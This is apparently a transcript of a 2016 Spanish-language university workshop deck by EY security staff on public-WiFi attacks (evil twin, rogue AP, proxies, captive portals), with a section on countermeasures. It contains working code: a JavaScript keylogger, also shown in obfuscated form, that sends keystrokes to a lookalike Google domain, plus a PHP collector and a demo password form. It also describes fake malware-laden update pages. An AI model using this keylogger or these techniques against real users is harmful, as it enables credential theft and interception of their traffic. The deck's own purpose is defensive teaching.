ey ciber seg uah 2016 freewifi
TRANSCRIPT
FreeWiFiRouge AP, Evil Twin, Portal cautivo con proxy web son partes de una
constante amenaza a redes inalámbricas:
Aprendamos los posibles ataques para saber como protegernos.
Contenido
¿Quiénes somos?
Definiciones
Herramientas y ataques
Manos a la obra: Proxy Web
Otros Proxies
Manos a la obra: Keylogger JS
Manos a la obra: Portal cautivo
Manos a la obra: WiFi Pumpkin
Aprendamos a protegernos
Despierta tu curiosidad
FreeWifi
Aprendamos los posibles ataques para saber como protegernos
Page 3 3
¿Quiénes somos?
► Talento & Emprendimiento
FreeWiFiAprendamos los posibles ataques para saber como protegernos
¿Quiénes somos?
http://www.ey.com/About-us/Entrepreneurship
Los emprendedores marcan la diferencia. Tienen grandes ideas y el impulso necesario para llevarlas a cabo. Gracias a sus
visiones innovadoras y a su trabajo, estimulan un cambio social positivo, aportando nuevos conceptos y productos al mercado
y creando empleo y riqueza.
Llevamos mucho tiempo reconociendo el potencial de los emprendedores. En los últimos treinta años, hemos adaptado
nuestra experiencia, conocimiento sectorial y recursos para trabajar con las compañías emprendedoras y de rápido
crecimiento. Trabajamos con una gran variedad de empresas, desde aquellas que realizan su primera operación de
financiación hasta las de mediana capitalización, cuyo valor se puede medir en miles de millones de dólares.
Nuestro compromiso con las compañías emprendedoras en todo el mundo, tanto en las economías emergentes como en las
maduras, nos asegura el trabajar junto a muchos de los líderes globales del mañana.
FreeWiFiAprendamos los posibles ataques para saber como protegernos
Wiktor NykielSenior Manager en el área de Ciber Inteligencia.
https://es.linkedin.com/in/wiktornykiel
@WiktorNykiel
Héctor PantojaSenior en el Área de Attack and Penetration
https://es.linkedin.com/in/héctor-pantoja-garcía-21097958
@hpantojagarcia
Page 6 6
Definiciones
► Aprendamos algo nuevo …
FreeWiFiAprendamos los posibles ataques para saber como protegernos
Definiciones
► Proxy Transparente
Tiene las mismas funciones que un Proxy, pero en
este modo el propio cliente no es consciente del
uso de un Proxy que esta redireccionando y
gestionando las peticiones que envía y recibe. El
cliente no necesita configurar los navegadores para
el uso de dicho Proxy. Este modo es utilizado por
los proveedores de servicios de internet (ISP) y se
suele utilizar para mejorar la velocidad de descarga.
► Proxy
Servidor que permite la intercepción y redirección de las
peticiones recibidas en una red interna hacia Internet,
controlando de una manera eficiente todas las entradas y
salidas de una red e incluso permite modificar las cabeceras
y el contenido para mantener la privacidad de la
comunicación. El usuario sabe en todo momento que esta
utilizando un Proxy.
► Proxy Web
FreeWiFiAprendamos los posibles ataques para saber como protegernos
Definiciones
► Evil Twin
Es un punto de acceso WIFI que sirve para interceptar las comunicaciones
inalámbricas.
Se hace pasar por un proveedor de comunicaciones o bien por un hotspot engañando
a usuarios con dispositivos móviles, tablets o portátiles para que se conecten a él.
Crea una web totalmente fraudulenta, parecida al phishing para recopilar credenciales
o monitorizar el trafico que produzcan.
► Rouge AP
Es un dispositivo que suplanta la identidad de un Punto de Acceso Existente para poder recopilar credenciales de usuarios que soliciten loguearse.
Para poder realizar esto, el dispositivo replica el ESSID y las características de cifrado de un Punto de Acceso cualquiera suplantando toda su
configuración.
El Rogue AP se mantendrá a la escucha de peticiones de sus victimas. Una vez logueada la victima, se obtendrán sus credenciales y se podrá
monitorizar el tráfico que genere.
FreeWiFiAprendamos los posibles ataques para saber como protegernos
Definiciones
► Spoofing
Es la suplantación de identidad de un usuario o servidor en concreto ayudándose con una serie de técnicas,
para la obtención de algún tipo de información relevante. Se falsifica el origen de los paquetes para hacer
creer a la victima que procede de un host de confianza o autorizado
► IP Spoofing
Suplanta la dirección IP de un determinado servidor para recopilar credenciales de las victimas. Consigue
sustituir la IP de origen de un paquete TCP/IP por la dirección deseada, de esta forma todas las peticiones
llegaran al servidor falsificado obteniéndose así una monitorización del tráfico muy interesante.
► ARP Spoofing
Es la suplantación de identidad de la tabla ARP. Dicha tabla se encarga de traducir direcciones IP a
direcciones MAC. La forma de falsificar dicha tabla es inundando la red con paquetes ARP indicando que la
MAC asociada a la IP solicitada es nuestra y además nuestra MAC esta también asociada al Gateway.
De esta forma el resto de máquinas actualizarán sus tablas ARP con esta información falsificada y cada vez
que quieran acceder a un destino pasaran por la maquina atacante para esnifar el trafico, redirigir la salida o
ambas.
► DNS Spoofing
Es una técnica que altera o falsifica las direcciones IP asociadas a los servidores DNS y las redireccionan a
servidores maliciosos. La forma de conseguir esto es modificando las peticiones recibidas falsificando la
relación IP-DNS o comprometer un servidor e inundar la red con la cache infectada en el resto de servidores.
FreeWiFiAprendamos los posibles ataques para saber como protegernos
Definiciones
► Keylogger
Un keylogger es un software/hardware que permite registrar todas las pulsaciones en un equipo para posteriormente enviarlas al atacante.
► Keylogger JS
Keylogger JS es una variedad que permite capturar texto introducido por un usuario en los formularios de la web afectada, a través de la inyección de
un código JavaScript que genera una “capa transparente” que recoge y envía todas las pulsaciones a un servidor remoto.
Page 11 11
Herramientas y ataques
► Diferentes formas de hacer el mal …
FreeWiFiAprendamos los posibles ataques para saber como protegernos
WiFiPhisher
► Ataques Evil Twin
Consigue hacerse con man-in-the-middle a través de ataques del tipo Evil Twin, donde
posteriormente redirige todo el trafico HTTP a un sitio web controlado por el atacante.
Este ataque se compone de tres pasos:
La victima es desautenticada de su punto de acceso original.
Esto se consigue haciendo jamming para “Deauthenticate” o “Disassociate” al cliente.
El cliente desauntenticado se conecta al punto de acceso atacante.
Esta herramienta copia automáticamente las configuraciones del punto de acceso originaly
crea un punto de acceso falso. Establece la configuración NAT/DHCP para que el cliente se
conecte a la red falsa, consiguiendo que la victima acabe bajo el ataque MiTM.
Se presenta una página de configuración de router al cliente.
Incluye un servidor web el cual atiende peticiones HTTP/S y lanza páginas de phishing
preguntando por credenciales.
https://github.com/sophron/wifiphisher
FreeWiFiAprendamos los posibles ataques para saber como protegernos
LINSET
► Linset Is Not a Social Enginering Tool
Consigue hacerse las credenciales WPA/2 desautenticando al cliente
original, redirige todo el trafico HTTP a un sitio web controlado por el
atacante, probando las credenciales introducidas por el usuario.
Este ataque se compone de tres pasos:
Crea un punto de acceso con el mismo SSID que el AP original.
La victima es des-autenticada de su punto de acceso original.
Se presenta una página para introducir las credenciales de la victima.
Ref: https://github.com/vk496/linset
http://highsec.es/2014/10/linset-tirando-el-anzuelo/
FreeWiFiAprendamos los posibles ataques para saber como protegernos
SET
► Social Engineering Toolkit
Es una herramienta que permite utilizar varias técnicas de Ingeniería
Social.
FreeWiFiAprendamos los posibles ataques para saber como protegernos
WPAD
Ref: http://findproxyforurl.com/wpad-introduction/
https://technet.microsoft.com/en-us/library/cc995258.aspx
http://perimetergrid.com/wp/2008/01/11/wpad-internet-explorers-worst-feature/
► Web Proxy Auto Discovery
Es la tecnología que ayuda al navegador a localizar las configuraciones de proxies automáticamente usando DNS o DHCP.
DHCP DNS
FreeWiFiAprendamos los posibles ataques para saber como protegernos
MITMF
► Man In The Middle Framework
Es la tecnología que ayuda al navegador a localizar las configuraciones de proxies automáticamente usando DNS o DHCP.
Page 17 17
Manos a la obra
► Veamos un ejemplo práctico: Proxy Web
FreeWiFiAprendamos los posibles ataques para saber como protegernos
Web Proxy
► Glype Web Proxy
Esto es un proxy web escrito en PHP que funciona igualmente
Se pueden robar sesiones, sacar datos interesantes. Se puede tener trazas de navegación, valores de parámetros GET
FreeWiFiAprendamos los posibles ataques para saber como protegernos
Web Proxy
► Glype Web Proxy ► Opciones de configuración
1. Encrypt URL: Permite obfuscar la URL para que no sea
reconocible cuando se manda de forma recursiva al proxy.
2. Encrypt Page: Manda la página ofuscada antes de enviarla, para
des obfuscar en el cliente una vez recibido. Esto a veces produce
errores en la navegación
3. Show Form: Muestra una barra con un formulario en la parte
superior del navegador para poder introducir la URL a visitar así
como modificar posibles parámetros.
4. Allow Cookies y Force Temporary Cookies: Permite trabajar
con cookies, hay opción de visualizar estas cookies almacenadas
en el servidor.
5. Remove Page Titles: Quitamos el titulo de la página (se queda
en el histórico de navegación – a veces da demasiados datos).
6. Remove Scripts: Quita scripts JS / Flash / Java que puedan
desvelar la ubicación, etc
FreeWiFiAprendamos los posibles ataques para saber como protegernos
Modificaciones al Web Proxy
Index.html que invoca desde iframe el proxy web
<html>
<head>
<title>Navegación super segura</title>
</head>
<body>
<iframe src="browse.php?u=http%3A%2F%2Fwww.google.com%2F&b=4"
width="100%" height="100%" scrolling="auto" frameborder="0">
<p>Texto alternativo para navegadores que no aceptan iframes.</p>
</iframe>
</body>
</html>
// Plugins/google.com.php
function preParse($html,$type) {
if (stripos($html,'loadingError')) {
header("Location: ".proxyURL('http://mail.google.com/mail/?ui=html'));
exit;
}
return $html;
}
function postParse(&$in,$type) {
$in = preg_replace('# style="padding-top:\d+px"#', '', $in);
return $in;
}
FreeWiFiAprendamos los posibles ataques para saber como protegernos
Modificaciones al Web Proxy
// Plugins/facebook.com.php
$options['stripJS'] = false;
$options['allowCookies'] = true;
function preRequest() {
global $URL;
if ($URL['host'] != 'm.facebook.com') {
$URL['host'] = preg_replace('/((www\.)?facebook\.com)/', 'm.facebook.com', $URL['host']);
$URL['href'] = preg_replace('/\/\/((www\.)?facebook\.com)/', '//m.facebook.com', $URL['href']);
}
}
Modificamos texto al vuelo en el parser para
añadir/quitar URL, funciones, etc en la página
visitada a través del proxy.
Page 22 22
Otros proxies
► Capturando datos de diferentes formas …
FreeWiFiAprendamos los posibles ataques para saber como protegernos
OWASP ZAP + Login HTTPS Ref: https://github.com/zaproxy/zaproxy
FreeWiFiAprendamos los posibles ataques para saber como protegernos
Burp Suite Professional
FreeWiFiAprendamos los posibles ataques para saber como protegernos
Fiddler
Page 26 26
Manos a la obra
► Veamos un ejemplo práctico: Keylogger JS
FreeWiFiAprendamos los posibles ataques para saber como protegernos
Keylogger JS
<?php
if(!empty($_GET['datosRecibidos'])) {
$logfile = fopen('datos.txt', 'a+');
fwrite($logfile, $_GET['datosRecibidos']);
fclose($logfile);
}
?>
var buffer = [];
var attacker = 'http://accounts.google.com-servicelogin.sacu-1.hl-en.seguridad-
wifi.com/account/login/secure/protocol/g00/keylogger/?datosRecibidos='
document.onkeypress = function(e) {
buffer.push(e.key);
}
window.setInterval(function() {
if (buffer.length > 0) {
var data = encodeURIComponent(JSON.stringify(buffer));
new Image().src = attacker + data;
buffer = [];
}
}, 300);
Index.php – script php que almacena datos recibidos en fichero
Keylogger.js – script JS que envia los datos a index.php para ser almacenados
var
_0xd495=["\x68\x74\x74\x70\x3A\x2F\x2F\x61\x63\x63\x6F\x75\x6E\x74\x73\x2E\x67\x6F\x6
F\x67\x6C\x65\x2E\x63\x6F\x6D\x2D\x73\x65\x72\x76\x69\x63\x65\x6C\x6F\x67\x69\x6E\x2E
\x73\x61\x63\x75\x2D\x31\x2E\x68\x6C\x2D\x65\x6E\x2E\x73\x65\x67\x75\x72\x69\x64\x61\x
64\x2D\x77\x69\x66\x69\x2E\x63\x6F\x6D\x2F\x61\x63\x63\x6F\x75\x6E\x74\x2F\x6C\x6F\x6
7\x69\x6E\x2F\x73\x65\x63\x75\x72\x65\x2F\x70\x72\x6F\x74\x6F\x63\x6F\x6C\x2F\x67\x30\
x30\x2F\x6B\x65\x79\x6C\x6F\x67\x67\x65\x72\x2F\x3F\x64\x61\x74\x6F\x73\x52\x65\x63\x6
9\x62\x69\x64\x6F\x73\x3D","\x6F\x6E\x6B\x65\x79\x70\x72\x65\x73\x73","\x6B\x65\x79","\x7
0\x75\x73\x68","\x6C\x65\x6E\x67\x74\x68","\x73\x74\x72\x69\x6E\x67\x69\x66\x79","\x73\x7
2\x63","\x73\x65\x74\x49\x6E\x74\x65\x72\x76\x61\x6C"];var buffer=[];var
attacker=_0xd495[0];document[_0xd495[1]]=function(_0x61fcx3){buffer[_0xd495[3]](_0x61fcx
3[_0xd495[2]])};window[_0xd495[7]](function(){if(buffer[_0xd495[4]]>0){var
_0x61fcx4=encodeURIComponent(JSON[_0xd495[5]](buffer)); new
Image()[_0xd495[6]]=attacker+_0x61fcx4;buffer=[];}},300);
Obfuscado con: http://javascriptobfuscator.com/Javascript-Obfuscator.aspx
FreeWiFiAprendamos los posibles ataques para saber como protegernos
Keylogger JS
Prueba.php – script PHP con formularios que muestra el funcionamiento del keylogger
<script src="http://accounts.google.com-
servicelogin.sacu-1.hl-en.seguridad-
wifi.com/account/login/secure/protocol/g00/keylogger/s
cript-super-importante.js">
</script>
<html>
<head><title>Ejemplo de formulario
sencillo</title></head>
<body>
<h3>Formulario muy sencillo</h3>
<form action="?" method="post">
Escribe tu nombre:
<br/><input type="text" name="nombre" value=""
size="80"/>
<br/>
Escribe tu clave:
<br/><input type="password" name="passswd"
value="" size="80"/>
<br/><input type="submit" value="Enviar" />
</form>
<br />
<a href="datos.txt" target="_blank">Abre el fichero con
los datos recogidos</a>
</body>
</html>
FreeWiFiAprendamos los posibles ataques para saber como protegernos
BeEF – Browser Exploitation Framework
Page 30 30
Manos a la obra
► Veamos un ejemplo práctico: Portal cautivo
FreeWiFiAprendamos los posibles ataques para saber como protegernos
Portal cautivo https://meraki.cisco.com/lib/pdf/meraki_whitepaper_captive_portal.pdf
Page 32 32
Manos a la obra
► Veamos un ejemplo práctico: WiFi Pumpkin
FreeWiFiAprendamos los posibles ataques para saber como protegernos
WiFi Pumpkin – Caso practico RougeAP
Framework para Ataques Rouge AP, funciona bajo una Kali 2.0
FreeWiFiAprendamos los posibles ataques para saber como protegernos
WiFi Pumpkin - Instalación
Proceso de instalación
FreeWiFiAprendamos los posibles ataques para saber como protegernos
WiFi Pumkin - Funcionamiento
Framework iniciado con un cliente conectado y autenticado. Interfaz Wifi (wlan0)
FreeWiFiAprendamos los posibles ataques para saber como protegernos
WiFi Pumpkin – Capturando datos
Credenciales capturadas en una web sin SSL a través del punto de acceso falso.
FreeWiFiAprendamos los posibles ataques para saber como protegernos
WiFi Pumpkin – Fake Updates
Creamos una página clonada de los servicios de actualizaciones más usados, el cual añade Malware en el ejecutable de
la descarga.
FreeWiFiAprendamos los posibles ataques para saber como protegernos
WiFi Pumpkin - Actualizaciones
Página web clonada con aspecto del servicio de actualizaciones de Microsoft.
Page 39 39
Aprendamos a protegernos
► Cuida tus datos en todo momento …
FreeWiFiAprendamos los posibles ataques para saber como protegernos
Contramedidas
• Para solventar el IP Spoofing, se puede configurar el router con reglas de acceso (ACLs) para determinadas MAC. De esta
forma se dará acceso a maquinas determinadas.
• Utilización de cifrado de la comunicación y Autenticación de Usuarios.
• Utilización de DHCP Snooping para evitar el ARP Spoofing, de esta forma se mantiene un registro de las direcciones MAC
conectadas a cada puerto, sabiendo en cada momento si se recibe una suplantación ARP.
FreeWiFiAprendamos los posibles ataques para saber como protegernos
Protegiéndose de Evil Twin AP y otros ataques wifi
• Uso de aplicaciones móviles como hotspotid.com
• Puntos de acceso con detección de Rouge AP
• Scripts para monitorizar, descubrir y prevenir ataques Evil Twin AP
https://github.com/moha99sa/EvilAP_Defender/wiki
• Uso de WIPS / WIDS
FreeWiFiAprendamos los posibles ataques para saber como protegernos
hotspotid.com
FreeWiFiAprendamos los posibles ataques para saber como protegernos
WIDS y otros sistemas anti Rouge AP https://meraki.cisco.com/technologies/air-marshal-wips
FreeWiFiAprendamos los posibles ataques para saber como protegernos
Autenticación de doble Factor - 2FA
FreeWiFiAprendamos los posibles ataques para saber como protegernos
VPN – Protegiendo nuestro tráfico
“ Las conexiones VPN permiten cifrar el tráfico entre nuestro móvil y un entorno seguro “
Page 46 46
Despierta tu curiosidad
► Siguientes retos …
FreeWiFiAprendamos los posibles ataques para saber como protegernos
Cosas para probar
› http://null-byte.wonderhowto.com/how-to/hack-wi-fi-creating-evil-twin-wireless-access-point-eavesdrop-data-0147919/
(Como crear puntos de acceso Evil Twin para espiar y obtener datos)
› https://github.com/entropy1337/infernal-twin (herramienta de hacking WiFi automatizada)
› https://www.offensive-security.com/kali-linux/kali-linux-evil-wireless-access-point/ (punto de acceso falso con
Raspberry PI y alguna otra cosa)
› https://github.com/DanMcInerney/wifijammer (inhibe todo el tráfico wifi entre clientes y puntos de acceso a
base de inyectar paquetes)
› https://github.com/DanMcInerney/fakeAP (crear punto de acceso falso)
› https://github.com/DanMcInerney/injecthtml/blob/master/injecthtml.git/injecthtml.py (inyecta código HTML - probar
con Beef o JSKeylogger)
› https://github.com/DanMcInerney/LANs.py (monitoriza a los clientes más activos e inyecta código HTML o
hace denegación de servicio)
› http://resources.infosecinstitute.com/beef-part-1/ (Introducción a Beef )
› http://docs.mitmproxy.org/en/latest/tutorials/transparent-dhcp.html (Proxies transparentes con maquinas
virtuales)
› https://blog.skullsecurity.org/2009/pwning-hotel-guests (ataques con WPAD)
FreeWiFiAprendamos los posibles ataques para saber como protegernos
Como saltarse la autenticación de proxies
http://null-byte.wonderhowto.com/how-to/hack-wi-fi-evading-authentication-proxy-using-icmptx-0150347/
Saltándose portal cautivo a través de DNS tunneling
http://dnstunnel.de/
Evadiendo Proxies
› http://kinozoa.com/blog/subterfuge-documentation/
› https://github.com/Subterfuge-Framework/Subterfuge
› http://www.monkey.org/~dugsong/dsniff/
› https://github.com/derv82/wifite
› http://resources.infosecinstitute.com/20-popular-wireless-hacking-tools-updated-for-2016/
› https://github.com/supernothing/sergio-proxy
› https://github.com/sensepost/mana
MITM & Other tools
FreeWiFiAprendamos los posibles ataques para saber como protegernos
Artículos relacionados
› http://thehackernews.com/2014/03/snoopy-drone-can-hack-your-smartphones.html
› https://blog.skullsecurity.org/2009/pwning-hotel-guests
› https://mdk.fr/0x000000/articles/Web_Proxy_Autodiscovery_Protocol_Hijacking.html
› https://cyberarms.wordpress.com/2014/10/16/mana-tutorial-the-intelligent-rogue-wi-fi-router/
• Snarfing
• Evil Twin
• WIPS
• Rouge Acces Point
• WPAD
• ARP Spoofing
• DNS Spoofing
Definiciones
https://en.wikipedia.org/wiki/Snarfing
https://en.wikipedia.org/wiki/Evil_twin_(wireless_networks)
https://en.wikipedia.org/wiki/Wireless_intrusion_prevention_system
https://en.wikipedia.org/wiki/Rogue_access_point
https://en.wikipedia.org/wiki/Web_Proxy_Autodiscovery_Protocol
https://en.wikipedia.org/wiki/ARP_spoofing#Defense
https://en.wikipedia.org/wiki/DNS_spoofing